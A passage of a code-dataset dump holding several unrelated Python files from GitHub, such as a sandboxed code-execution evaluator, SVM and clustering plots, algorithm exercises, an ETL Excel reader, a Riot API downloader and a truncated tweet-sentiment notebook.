e:\n\t\t\t\tself.result._end(ExecutionException.create())\n\t\t\telse:\n\t\t\t\tself.result._end(None, globals={k: g[k] for k in g if k not in self.globals})\n\t\t\treturn self.result\n\tdef execute_function(self, name, *kargs, **kwargs):\n\t\tif not self.result.executed:\n\t\t\tself.execute()\n\t\tfunction = self.result.globals.get(name)\n\t\tif function is None:\n\t\t\treturn None\n\t\tenv = FunctionExecutionEnvironment(self, name, *kargs, **kwargs)\n\t\tenv.execute()\n\t\treturn env.result\n\t\nclass FunctionExecutionEnvironment(ExecutionEnvironment):\n\tdef __init__(self, parent, function, *kargs, **kwargs):\n\t\t super(FunctionExecutionEnvironment, self).__init__()\n\t\t self.parent = parent # parent execution environment\n\t\t self.function = function\n\t\t self.kargs, self.kwargs = (kargs, kwargs)\n\tdef _execute(self):\n\t\t\"\"\"Execute the function\"\"\"\n\t\t# TODO: memory profiling..\n\t\t# Create the string to be evaluated\n\t\targs_dict = OrderedDict()\n\t\tupdate_dict(args_dict, [ (\"kargs_{}\".format(i), self.kargs[i]) for i in range(0, len(self.kargs)) ])\n\t\tupdate_dict(args_dict, [ (\"kwargs_{}\".format(k), v) for (k, v) in self.kwargs.items() ]) \n\t\tcall = \"{}({})\".format(self.function, \",\".join(args_dict))\n\t\tself.result._start()\n\t\tglobals = dict(self.parent.result.globals)\n\t\tglobals.update(args_dict)\n\t\ttry:\n\t\t\tr = eval(call, globals)\n\t\texcept Exception as e:\n\t\t\tr = ExecutionException.create()\n\t\tself.result._end(r)\n\t\n\t\nif __name__ == \"__main__\":\n\ttest_code = \"\"\"\nimport sys\n\ndef fib(n):\n\treturn fib(n-1) + fib(n-2) if n > 1 else 1\nprint(\"Little message on stdout\", file=sys.stdout)\nprint(\"Little message on stderr\", file=sys.stderr) # FIXME: file\n\"\"\"\n\ttest_code2 = \"\"\"\nimport sys\n\ndef fib(n):\n\tif n < 2: return 1\n\tv, w = (1, 1)\n\tfor k in range(2, n+1):\n\t\ttmp = w\n\t\tw = v + w\n\t\tv = tmp\n\treturn w\n\"\"\"\n\tcee = CodeExecutionEnvironment(test_code)\n\tcee.parse()\n\tif cee.parsed is True:\n\t\tprint(\"Vocabulary: {}\".format(cee.metrics.vocabulary))\n\t\tprint(\"AST height: {}\".format(cee.metrics.height))\n\telse:\n\t\tprint(\"Parsing error: {}\".format(cee.parsed))\n\twith Sandbox(10000000, 10, enabled=False):\n\t\tprint(\"foo\")\n\t\tcee.execute()\n\t\tprint(\"Result: {}\".format(cee.result))\n\t\tfor a in (1,2,3,4,5, 6, 7, 8, 9, 10):\n\t\t\tprint(cee.execute_function(\"fib\", a).result)\n\t\tExecutionEnvironments(test_code, test_code2).test_results(\"fib\", *[ (x,) for x in range(0, 10) ])\n\tprint(\"The end.\")\n","repo_name":"chilowi/aplaba","sub_path":"pysrc/steval/executor/python/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":12713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21125474666","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn import svm\n\n# Our first step is to read the given data\ndata_csv = pd.read_csv('data.csv')\nx_title = list(data_csv)[0]\ny_title = list(data_csv)[1]\ngroup_title = list(data_csv)[2]\n\n# Specify inputs for the model\nxy = data_csv[[x_title, y_title]].values\ntype_label = np.where(data_csv[group_title]==1, 1, 2)\n\n# Create and fit the linear SVN model\nmodel = svm.SVC(kernel='linear')\nmodel.fit(xy, type_label)\n\n# Get the hyperplane\nw = model.coef_[0]\na = -w[0] / w[1]\nxx = np.linspace(min(xy[:,0]), max(xy[:,1]))\nyy = a * xx - (model.intercept_[0] / w[1])\n\n# Visualize the results\nsns.lmplot(x_title, y_title, data=data_csv, hue=group_title, fit_reg=False) # Plot the points\nplt.plot(xx, yy, linewidth=2, color='black') # Plot the hyperplane\nplt.show()\n","repo_name":"nihaal-prasad/SVM-Model","sub_path":"sym.py","file_name":"sym.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"19827869297","text":"import heapq\nclass MedianFinder(object):\n\n    \"\"\"----------------------------------- Efficient 2 heap approach -----------------------------\"\"\"\n    def __init__(self):\n        \"\"\"\n        initialize your data structure here.\n        \"\"\"\n        self.low = []\n        self.high = []\n\n    def addNum(self, num):\n        \"\"\"\n        :type num: int\n        :rtype: None\n        \"\"\"\n        heapq.heappush(self.low,-num)\n        positive_num = - heapq.heappop(self.low)\n        heapq.heappush(self.high,positive_num)\n        if len(self.high) > len(self.low):\n            elem = heapq.heappop(self.high)\n            heapq.heappush(self.low,-elem)          # Push -ve of elem rather than elem as python does not have inbuilt Max Heaps !!\n\n    def findMedian(self):\n        \"\"\"\n        :rtype: float\n        \"\"\"\n        if len(self.low) == len(self.high):\n            low_top = -heapq.heappop(self.low)\n            heapq.heappush(self.low,-low_top)\n            high_top = heapq.heappop(self.high)\n            heapq.heappush(self.high,high_top)\n            return (low_top+high_top)*0.5\n        else:\n            low_top = -heapq.heappop(self.low)\n            heapq.heappush(self.low,-low_top)\n            return low_top\n\n        \n\n\n# Your MedianFinder object will be instantiated and called as such:\n# obj = MedianFinder()\n# obj.addNum(num)\n# param_2 = obj.findMedian()","repo_name":"anantvir/Leetcode-Problems","sub_path":"Array_Manipulations/Find_Median_from_Stream_data_Structure.py","file_name":"Find_Median_from_Stream_data_Structure.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"34678355849","text":"import logging\nfrom threading import Thread\nfrom Client import Client\nfrom Queue import Queue\nfrom QueuePainter import QueuePainter\nfrom StatusOfClient import StatusOfClient\nfrom WaitingRoom import WaitingRoom\nfrom WaitingRoomPainter import WaitingRoomPainter\n\n\nclass ButtonClientGenerator(Thread):\n    def __init__(self, queue: Queue, waiting_room: WaitingRoom, gui):\n        super().__init__(name=\"ClientGenerator\")\n        self.__queue = queue\n        self.__waiting_room = waiting_room\n        self.gui = gui\n\n    def run(self) -> None:\n        self.gui.set_add_specific_cli_btn_handler(handler=self.add_specific_client)\n        self.gui.set_add_random_cli_btn_handler(handler=self.add_random_client)\n\n    def generate_one_client(self):\n        client = Client()\n        return client\n\n    def add_random_client(self):\n        new_client = self.generate_one_client()\n        if self.__queue.lock.locked():\n            self.__waiting_room.add_to_queue(new_client)\n            new_client.status = StatusOfClient.IN_WAITING_ROOM\n            wrp = WaitingRoomPainter(new_client.client_id, self.gui)\n            wrp.init_drawing(new_client)\n            logging.info(f'User {new_client.client_id} added to waiting room')\n        else:\n            self.__queue.add_to_queue(new_client)\n            new_client.status = StatusOfClient.IN_QUEUE\n            qp = QueuePainter(new_client.client_id, self.gui)\n            qp.init_drawing(new_client)\n            logging.info(f'User {new_client.client_id} added to queue')\n\n    def add_specific_client(self, number_of_files):\n        new_client = self.generate_specific_client(number_of_files)\n        if self.__queue.lock.locked():\n            self.__waiting_room.add_to_queue(new_client)\n            new_client.status = StatusOfClient.IN_WAITING_ROOM\n            wrp = WaitingRoomPainter(new_client.client_id, self.gui)\n            wrp.init_drawing(new_client)\n            logging.info(f'User {new_client.client_id} added to waiting room')\n        else:\n            self.__queue.add_to_queue(new_client)\n            new_client.status = StatusOfClient.IN_QUEUE\n            qp = QueuePainter(new_client.client_id, self.gui)\n            qp.init_drawing(new_client)\n            logging.info(f'User {new_client.client_id} added to queue')\n\n    def generate_specific_client(self, number_of_files):\n        client = Client(number_of_files)\n        return client\n","repo_name":"Magdalena27/Loadbalancer","sub_path":"ButtonClientGenerator.py","file_name":"ButtonClientGenerator.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12832793300","text":"\"\"\"\nGiven an array of integers,\nreturn a new array such that each element at index i\nof the new array is the product of all the numbers in\nthe original array except the one at i.\n\nFor example, if our input was [1, 2, 3, 4, 5],\nthe expected output would be [120, 60, 40, 30, 24].\nIf our input was [3, 2, 1], the expected output would be [2, 3, 6].\n\nFollow-up: what if you can't use division?\n\"\"\"\n\n\ndef total_product(x):\n    y = [1]*len(x)\n    for i, v0 in enumerate(x[:-1]):\n        for j, v1 in enumerate(x[i + 1:], i + 1):\n            y[i] *= v1\n            y[j] *= v0\n    return y\n\n\ndef main():\n    x = [1, 2, 3, 4, 5]\n    assert total_product(x) == [120, 60, 40, 30, 24]\n\n    x = [3, 2, 1]\n    assert total_product(x) == [2, 3, 6]\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"joshuakraitberg/PythonAlgorithms","sub_path":"problem_2_total_product.py","file_name":"problem_2_total_product.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35752306075","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import scale\nfrom sklearn.model_selection import train_test_split, learning_curve, cross_val_score\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import adjusted_rand_score, silhouette_score\nfrom sklearn.metrics.pairwise import euclidean_distances\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.decomposition import PCA\nfrom scipy.spatial.distance import cdist\nfrom matplotlib.patches import Ellipse\nfrom sklearn.random_projection import GaussianRandomProjection\nfrom sklearn.manifold import TSNE\nfrom sklearn.neural_network import MLPClassifier\nfrom scipy.spatial.distance import euclidean\nfrom keras.layers import Input, Dense\nfrom keras.models import Model\nfrom keras.callbacks import ModelCheckpoint, TensorBoard\nfrom keras import regularizers\n\n\ndef plot_various_k(title, X, ylim=None,reps = 3, step_size= 10, min_k=2, max_k= 100):\n                          \n    nodes = np.linspace(min_k,max_k,step_size)\n    scores = np.zeros([step_size,reps])\n    sil_scores = np.zeros([step_size, reps])\n    i = 0\n    \n    for node in nodes:\n        model = KMeans(n_clusters = int(node))\n        for j in range (reps):\n            model.fit(X)\n            scores[i][j] = model.inertia_\n            sil_scores[i][j] = silhouette_score(X, model.labels_)\n        i += 1\n        \n    scores_mean = np.mean(scores, axis=1)\n    scores_std = np.std(scores, axis=1)\n    \n    sil_scores_mean = np.mean(sil_scores, axis=1)\n    sil_scores_std = np.mean(sil_scores, axis=1)\n   \n\n    plt.figure()\n    plt.title(title)\n    \n    if ylim is not None:\n        plt.ylim(*ylim)\n    plt.grid()\n    plt.xlabel(\"K\")\n    plt.ylabel(\"Inertia\")\n    plt.fill_between(nodes, scores_mean - scores_std,\n                     scores_mean + scores_std, alpha=0.1, color=\"g\")\n \n    plt.plot(nodes, scores_mean, '--', color=\"g\")\n    plt.show()\n    \n    plt.figure()\n    plt.title(title)\n    \n    \n    if ylim is not None:\n        plt.ylim(*ylim)\n    plt.grid()\n    plt.xlabel(\"K\")\n    plt.ylabel(\"S Score\")\n    plt.fill_between(nodes, sil_scores_mean - sil_scores_std,\n                     sil_scores_mean + sil_scores_std, alpha=0.1, color=\"r\")\n \n    plt.plot(nodes, sil_scores_mean, '--', color=\"r\")\n    plt.show()\n\n    return plt\n\n    # Visualize the results on PCA-reduced data\ndef plot_kmeans_1(datasetName,data, n_digits):\n    reduced_data = PCA(n_components=2).fit_transform(data)\n    kmeans = KMeans(n_clusters=n_digits)\n    kmeans.fit(reduced_data)\n\n    # Step size of the mesh. Decrease to increase the quality of the VQ.\n    h = .02     # point in the mesh [x_min, x_max]x[y_min, y_max].\n\n    # Plot the decision boundary. For that, we will assign a color to each\n    x_min, x_max = reduced_data[:, 0].min() - 1, reduced_data[:, 0].max() + 1\n    y_min, y_max = reduced_data[:, 1].min() - 1, reduced_data[:, 1].max() + 1\n    xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n\n    # Obtain labels for each point in mesh. Use last trained model.\n    Z = kmeans.predict(np.c_[xx.ravel(), yy.ravel()])\n\n    # Put the result into a color plot\n    Z = Z.reshape(xx.shape)\n    plt.figure(1)\n    plt.clf()\n    plt.imshow(Z, interpolation='nearest',\n               extent=(xx.min(), xx.max(), yy.min(), yy.max()),\n               cmap=plt.cm.Paired,\n               aspect='auto', origin='lower')\n\n    plt.plot(reduced_data[:, 0], reduced_data[:, 1], 'k.', markersize=2)\n    # Plot the centroids as a white X\n    centroids = kmeans.cluster_centers_\n    plt.scatter(centroids[:, 0], centroids[:, 1],\n                marker='x', s=169, linewidths=3,\n                color='w', zorder=10)\n    title = 'K-means clustering on {0}dataset, K= {1}\\n Centroids are marked with white cross'.format(datasetName, n_digits)\n    plt.title(title)\n    plt.xlim(x_min, x_max)\n    plt.ylim(y_min, y_max)\n    plt.xticks(())\n    plt.yticks(())\n    plt.show()\n\ndef plot_various_k_EM(title, X, ylim=None,reps = 3, step_size= 10, min_k=2, max_k= 100):\n\n                      \n    nodes = np.linspace(min_k,max_k,step_size)\n    scores = np.zeros([step_size,reps])\n    i = 0\n    \n    for node in nodes:\n        model = GaussianMixture(n_components = int(node))\n        for j in range (reps):\n            model.fit(X)\n            scores[i][j] = model.lower_bound_\n  \n        i += 1\n        \n    scores_mean = np.mean(scores, axis=1)\n    scores_std = np.std(scores, axis=1)\n    \n    plt.figure()\n    plt.title(title)\n    if ylim is not None:\n        plt.ylim(*ylim)\n    plt.xlabel(\"K\")\n    plt.ylabel(\"Log-Likelihood\")\n    plt.grid()\n\n    plt.fill_between(nodes, scores_mean - scores_std,\n                     scores_mean + scores_std, alpha=0.1, color=\"g\")\n \n    plt.plot(nodes, scores_mean, '--', color=\"g\")\n\n    return plt\n\ndef draw_ellipse(position, covariance, ax=None, **kwargs):\n    \"\"\"Draw an ellipse with a given position and covariance\"\"\"\n    ax = ax or plt.gca()\n    \n    # Convert covariance to principal axes\n    if covariance.shape == (2, 2):\n        U, s, Vt = np.linalg.svd(covariance)\n        angle = np.degrees(np.arctan2(U[1, 0], U[0, 0]))\n        width, height = 2 * np.sqrt(s)\n    else:\n        angle = 0\n        width, height = 2 * np.sqrt(covariance)\n    \n    # Draw the Ellipse\n    for nsig in range(1, 4):\n        ax.add_patch(Ellipse(position, nsig * width, nsig * height,\n                             angle, **kwargs))\n        \ndef plot_gmm(title, gmm, data, label=True, ax=None):\n    X = PCA(n_components=2).fit_transform(data)\n    ax = ax or plt.gca()\n    labels = gmm.fit(X).predict(X)\n    if label:\n        ax.scatter(X[:, 0], X[:, 1], c=labels, s=40, cmap='viridis', zorder=2)\n    else:\n        ax.scatter(X[:, 0], X[:, 1], s=40, zorder=2)\n    ax.axis('equal')\n    \n    w_factor = 0.2 / gmm.weights_.max()\n    for pos, covar, w in zip(gmm.means_, gmm.covariances_, gmm.weights_):\n        draw_ellipse(pos, covar, alpha=w * w_factor)\n    plt.title(title)\n\ndef pca_num_components_plot(title,pca):\n    plt.plot(np.cumsum(pca.explained_variance_ratio_))\n    plt.xlabel('number of components')\n    plt.ylabel('cumulative explained variance')\n    plt.title('title')\n\ndef plot_eigenvalue_distribution(title, eigenValues, bins):\n    plt.hist(eigenValues, 20, facecolor='blue')\n    plt.title(title)\n    plt.xlabel('Eiganvalue')\n    plt.ylabel('Frequency')\n\ndef autoEncoderStuff(input_dim, x_train, x_test, num_hidden_layers=1):\n    input_dim = x_train.shape[1]\n    encoding_dim = input_dim\n    print(encoding_dim)\n\n    input_layer = Input(shape=(input_dim, ))\n    encoder = Dense(encoding_dim, activation=\"relu\", \n                    activity_regularizer=regularizers.l1(10e-5))(input_layer)\n    if(num_hidden_layers >1):\n        encoder = Dense(int(encoding_dim / 2), activation=\"sigmoid\")(encoder)\n    if(num_hidden_layers >2):\n        encoder = Dense(int(encoding_dim / 2), activation=\"sigmoid\")(encoder)\n    decoder = Dense(int(encoding_dim / 2), activation='sigmoid')(encoder)\n    decoder = Dense(input_dim, activation='relu')(decoder)\n    autoencoder = Model(inputs=input_layer, outputs=decoder)\n    nb_epoch = 100\n    nb_epoch = 100\n    batch_size = 32\n    autoencoder.compile(optimizer='adam', \n                        loss='mean_squared_error', \n                        metrics=['accuracy'])\n    checkpointer = ModelCheckpoint(filepath=\"model.h5\",\n                                   verbose=0,\n                                   save_best_only=True)\n    tensorboard = TensorBoard(log_dir='./logs',\n                              histogram_freq=0,\n                              write_graph=True,\n                              write_images=True)\n    history = autoencoder.fit(x_train, x_train,\n                        epochs=nb_epoch,\n                        batch_size=batch_size,\n                        shuffle=True,\n                        validation_data=(x_test, x_test),\n                        verbose=1,\n                    callbacks=[checkpointer, tensorboard]).history\n    plt.plot(history['loss'])\n    plt.plot(history['val_loss'])\n    plt.title('model loss')\n    plt.ylabel('loss')\n    plt.xlabel('epoch')\n    plt.legend(['train', 'test'], loc='upper right');\n    plt.show()\n    \n    predictions = autoencoder.predict(x_test)\n    sparcity = ((np.count_nonzero(predictions==0))/predictions.size)*100\n    return (predictions,sparcity)\n\ndef plot_autoEncoder_projections(title,data):\n    tsne = TSNE(2, init='pca', random_state=0, verbose=1, n_iter=500)\n    Y = tsne.fit_transform(data)\n    print('plotting')\n    plt.figure()\n    plt.title(title)\n    plt.scatter(Y[:, 0], Y[:, 1],cmap=plt.cm.Spectral)\n    plt.show()","repo_name":"TieraLee/unsupervisedlearning","sub_path":"project3_plotting.py","file_name":"project3_plotting.py","file_ext":"py","file_size_in_byte":8675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34571355722","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 19 17:18:06 2022\n\n@author: MD KOYSOR HASAN\n\"\"\"\n\na = int(input())\nb = int(input())\nc = int(input())\nd = int(input()) # where is the problem on this code?\n\nfirst = a \nsecond = b\nthird = c \nfourth = d\n\nif a < b and a < c and a < d:\n    first = a\nif a > b and a < c and a < d:\n    second = a \nif a > b and a > c and a < d:\n    third = a \nif a > b and a > c and a > d:\n    fourth = a\nif b < a and b < c and b < d:\n    first = b\nif b > a and b < c and b < d:\n    second = b\nif b > a and b > c and b < d:\n    third = b\nif b > a and b > c and b > d:\n    fourth = b\nif c < a and c < b and c < d:\n    first = c\nif c > a and c < b and c < d:\n    second = c\nif c > a and c > b and c < d:\n    third = c\nif c > a and c > b and c > d:\n    fourth = c\nif d < a and d < b and d < c:\n    first = d\nif d > a and d < b and d < c:\n    second = d\nif d > a and d > b and d < c:\n    third = d\nif d > a and d > b and d > c:\n    fourth = d\nprint(first,second,third,fourth)","repo_name":"Hasankoysor/programming-exercise-with-tahmid-rafi","sub_path":"python fundamental homeWork-2/problem_2.2.15.py","file_name":"problem_2.2.15.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34898155925","text":"import numpy as np\nimport tensorflow as tf\n\n\nclass DatasetStatsEvaluator:\n    def __init__(self, dataset):\n\n        if dataset is None:\n            raise ValueError(\"Dataset must be a valid tf.data.Datset object.\")\n        self.dataset = dataset\n\n        self._examples_count = dataset.reduce(np.int64(0), lambda x, _: x + 1)\n        height, width, self.nchan = next(iter(dataset.take(1))).numpy().shape\n        num_pixels_per_image = height * width\n        self.total_pixels_count = self._examples_count * num_pixels_per_image\n\n        self._pixel_mean = None\n        self._pixel_variance = None\n        self._pixel_min = None\n        self._pixel_max = None\n\n    @property\n    def pixel_mean(self):\n        if self._pixel_mean is not None:\n            return self._pixel_mean\n\n        norm_factor = tf.cast(self.total_pixels_count, tf.float32)\n\n        def reduce_fn(curr, x):\n            sum = tf.math.reduce_sum(x, axis=2)\n            return curr + tf.math.divide(sum, norm_factor)\n\n        self._pixel_mean = self.dataset.reduce(\n            np.zeros(self.nchan, dtype=tf.float32), reduce_fn\n        )\n        return self._pixel_mean\n\n    @property\n    def pixel_variance(self):\n        if self._pixel_variance is not None:\n            return self._pixel_variance\n\n        norm_factor = tf.cast(self.total_pixels_count - 1, tf.float32)\n\n        def reduce_fn(curr, x):\n            ssd = tf.math.reduce_sum(\n                tf.math.squared_difference(x, self.pixel_mean), axis=2\n            )\n            return curr + tf.math.divide(ssd, norm_factor)\n\n        self._pixel_variance = self.dataset.reduce(\n            np.zeros(self.nchan, dtype=tf.float32), reduce_fn\n        )\n        return self._pixel_variance\n\n    @property\n    def pixel_min(self):\n        if self._pixel_min is not None:\n            return self._pixel_min\n        self._pixel_min = self.dataset.reduce(\n            np.array([np.inf] * self.nchan),\n            lambda m, x: tf.math.minimum(m, tf.math.reduce_min(x)),\n        )\n        return self._pixel_min\n\n    @property\n    def pixel_max(self):\n        if self._pixel_max is not None:\n            return self._pixel_max\n        self._pixel_max = self.dataset.reduce(\n            np.array([-np.inf] * self.nchan),\n            lambda m, x: tf.math.maximum(m, tf.math.reduce_max(x)),\n        )\n        return self._pixel_max\n","repo_name":"boeselfr/ai4good","sub_path":"utils/dataset_stats.py","file_name":"dataset_stats.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9417208931","text":"# In this code search_dfs is the most important function where the actual logic resides\n# First thing to notice is the arguments that are send to that search_dfs function and\n# think about why those arguments were chosen/needed by that function.\n\n# We have multiple such 2D matrix problems like \"Number of Islands\" etc. But in this problem, we already know the\n# words that needs to be searched and hence we can use Trie data structure which is efficient. But in case of\n# \"Number of Island\" problem a simple DFS(for Graph theory) was able to solve it. And also Trie cannot be used there\n# since you don't have already known value(like words) to insert and then search.\n\nclass Solution:\n    def __init__(self):\n        self.masternode = Node()\n        self.index = 0\n        self.answer = []\n\n    def insert(self, word: str) -> None:\n        currnode = self.masternode\n        index = 0\n\n        def insertutil(word: str, currnode, index, nodeword) -> None:\n            if index == len(word):\n                currnode.endFlag = True\n                return\n            if not currnode:\n                return\n            if currnode.trielist.__contains__(word[index]):\n                currnode = currnode.trielist[word[index]]\n                return insertutil(word, currnode, index + 1, currnode.word)\n            node = Node()\n            node.word += nodeword + word[index]\n            print(node.word)\n            currnode.trielist[word[index]] = node\n            insertutil(word, node, index + 1, node.word)\n\n        insertutil(word, currnode, index, currnode.word)\n        print(\"Inserted word : {}\".format(word))\n\n    def findWords(self, board, words):\n        for word in words:\n            self.insert(word)\n        for row in range(len(board)):\n            for col in range(len(board[row])):\n                self.search_dfs(board, row, col, len(board), len(board[row]), self.answer, self.masternode)\n        return self.answer\n\n    def search_dfs(self, board, row, col, rowlength, collength, temp_ans, currnode):\n        if board[row][col] == \"$\" or not currnode.trielist.__contains__(board[row][col]):\n            return\n\n        currnode = currnode.trielist[board[row][col]]\n\n        if currnode.endFlag:\n            temp_ans.append(currnode.word)\n            currnode.endFlag = False\n\n        char = board[row][col]  # Temporarily store current character, since we have change back \"$\" to character\n        board[row][col] = \"$\"   # Mark current node visited\n\n        if row > 0:\n            self.search_dfs(board, row - 1, col, rowlength, collength, temp_ans, currnode)\n        if row < rowlength-1:\n            self.search_dfs(board, row + 1, col, rowlength, collength, temp_ans, currnode)\n        if col > 0:\n            self.search_dfs(board, row, col - 1, rowlength, collength, temp_ans, currnode)\n        if col < collength-1:\n            self.search_dfs(board, row, col + 1, rowlength, collength, temp_ans, currnode)\n\n        board[row][col] = char  # Mark current node unvisited by restoring value.\n\nclass Node:\n    def __init__(self, trielist=None, endFlag=False):\n        if trielist is None:\n            trielist = {}\n        self.trielist = trielist\n        self.endFlag = endFlag\n        self.word = \"\"\n\n\nboard = [[\"o\", \"a\", \"a\", \"n\"], [\"e\", \"t\", \"a\", \"e\"], [\"i\", \"h\", \"k\", \"r\"], [\"i\", \"f\", \"l\", \"v\"]]\nwords = [\"oath\", \"pea\", \"eat\", \"rain\"]  # Words to be searched in the above board\n\nnode = Node()\nsol = Solution()\nprint(\"From the given words, found following words in the board: {}\".format(sol.findWords(board, words)))","repo_name":"roshangardi/Leetcode","sub_path":"212.Word Seach II.py","file_name":"212.Word Seach II.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"30351873005","text":"import pandas as pd\nimport numpy as np\nimport logging\n\nclass ReadFile:\n\n    _source_name = ''\n    _source_config = ''\n    _source_file_path = ''\n    _source_columns = ''\n    _source_definitions_list = ''\n    _source_file_type = ''\n    _source_start_row = ''\n    _source_data = ''\n    _source_data_spark_df = ''\n    _source_pandas_df = ''\n    _spark = ''\n\n    def __init__(self, spark, source_config, file_path, source_columns, source_definitions_list, source_name):\n        try:\n            self._spark = spark\n            self._source_config = source_config\n            self._source_file_path = file_path\n            self._source_columns = source_columns\n            self._source_definitions_list = source_definitions_list\n            self._source_name = source_name\n            # print(self._source_config)\n            # print(self._source_file_path)\n            # print(self._source_columns)\n            # print(self._source_definitions_list)\n            for k,v in self._source_config.items():\n                if k == \"file_type\":\n                    self._source_file_type = v\n                if k == \"column_start_row\":\n                    self._source_start_row = v\n\n            if self._source_file_type == \"excel\":\n                if self._source_file_path.lower().split(\".\")[-1] in [\"xls\", \"xlsx\"]:\n                    self.read_excel()\n                elif self._source_file_path.lower().split(\".\")[-1] in [\"xlsb\"]:\n                    self.read_excel_binary()\n        except Exception:\n            logging.error(\"Error in Init Function of Read File Class!!!\", exc_info = True)\n\n    def read_excel(self):\n        try:\n            data_column_converter = {}\n            for name in self._source_columns:\n                data_column_converter[name] = str\n\n            self._source_data = pd.read_excel(self._source_file_path, usecols = self._source_columns, skiprows = int(self._source_start_row) - 1, converters=data_column_converter)[self._source_columns]\n            if len(self._source_data) > 0:\n                data_proper = self._source_data.replace(np.nan, '')\n                self._source_pandas_df = data_proper\n                self._source_data_spark_df = self._spark.createDataFrame(data_proper.astype(str))\n\n        except Exception:\n            logging.error(\"Error in Read Excel!!!\", exc_info = True)\n\n    def read_excel_binary(self):\n        pass\n\n    def get_source_data(self):\n        return self._source_data\n\n    def get_source_pandas_df(self):\n        return self._source_pandas_df\n\n    def get_source_data_spark_df(self):\n        return self._source_data_spark_df\n\n\n","repo_name":"PoovendraPandi123/APV1.1.0","sub_path":"AFS/ETL/scripts/read_file.py","file_name":"read_file.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6853870175","text":"import requests\nimport pandas as pd\nimport json\nimport csv\nimport random\nimport time\nimport matplotlib.pyplot as plt\nimport os\n\n\n\ndef API(creds):\n    df=pd.read_csv(os.path.join(os.path.dirname(__file__),\"data\",\"CSV\",\"recentgames.csv\"))\n    counter=0\n    api_key=creds.APIKEY\n\n    for ids in df['id']:\n        counter += 1\n        print((counter / len(df))*100, \"%\")\n        paths = {\n            \"normal\": os.path.join(os.path.dirname(__file__), \"data\", \"normaldata\", f\"game{counter}.json\"),\n            \"timeline\": os.path.join(os.path.dirname(__file__), \"data\", \"timelinedata\", f\"game{counter}.json\")\n        }\n\n        # API requests. Limit is 100 requests every 2 min\n        timeline=f\"https://euw1.api.riotgames.com/lol/match/v4/timelines/by-match/{ids}?api_key={api_key}\"\n        normal=f\"https://euw1.api.riotgames.com/lol/match/v4/matches/{ids}?api_key={api_key}\"\n        timedata = requests.get(timeline)\n        time.sleep(0.1)\n        normaldata = requests.get(normal)\n\n        print(timedata)\n\n        x=timedata.json()\n        y=normaldata.json()\n\n        out_file = open(paths['timeline'], \"w\")\n        json.dump(x,out_file,indent=8)\n\n        out_file = open(paths['normal'], \"w\")\n        json.dump(y, out_file, indent=8)\n","repo_name":"LaihoE/GankDeathsVisual","sub_path":"RiotAPI.py","file_name":"RiotAPI.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71427219560","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n    for filename in filenames:\n\n        print(os.path.join(dirname, filename))\n\n\n\n# Any results you write to the current directory are saved as output.\nimport pandas as pd\n\nimport numpy as np\n\nfrom textblob import TextBlob\n\nimport re\n\nimport nltk\n\nfrom nltk.tokenize import word_tokenize, RegexpTokenizer\n\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\ntrain = pd.read_csv(\"/kaggle/input/tweet-sentiment-extraction/test.csv\")\ntrain.head()\ndef get_word_pairs(words):\n\n    new_lis = []\n\n    c = 0\n\n    for i in range(1,len(words)):\n\n        pair_lis = []\n\n        pair_lis.append(words[c])\n\n        pair_lis.append(words[c+1])\n\n        pair = \" \".join(pair_lis)\n\n        new_lis.append(pair)\n\n        c+=1\n\n    return new_lis\n\n\n\ndef get_trigrams(words):\n\n    new_lis = []\n\n    c = 0\n\n    for i in range(1,len(words)-1):\n\n        pair_lis = []\n\n        pair_lis.append(words[c])\n\n        pair_lis.append(words[c+1])\n\n        pair_lis.append(words[c+2])\n\n        pair = \" \".join(pair_lis)\n\n        new_lis.append(pair)\n\n        c+=1\n\n    return new_lis\ndef preprocess(text):\n\n#     # Remove link,user and special characters\n\n#     clean_text = \"@\\S+|https?:\\S+|http?:\\S|[^A-Za-z0-9]+\"\n\n#     text = re.sub(clean_text, ' ', str(text)).strip()\n\n    text = text.split()\n\n    return text\ntrain[\"clean_text\"] = 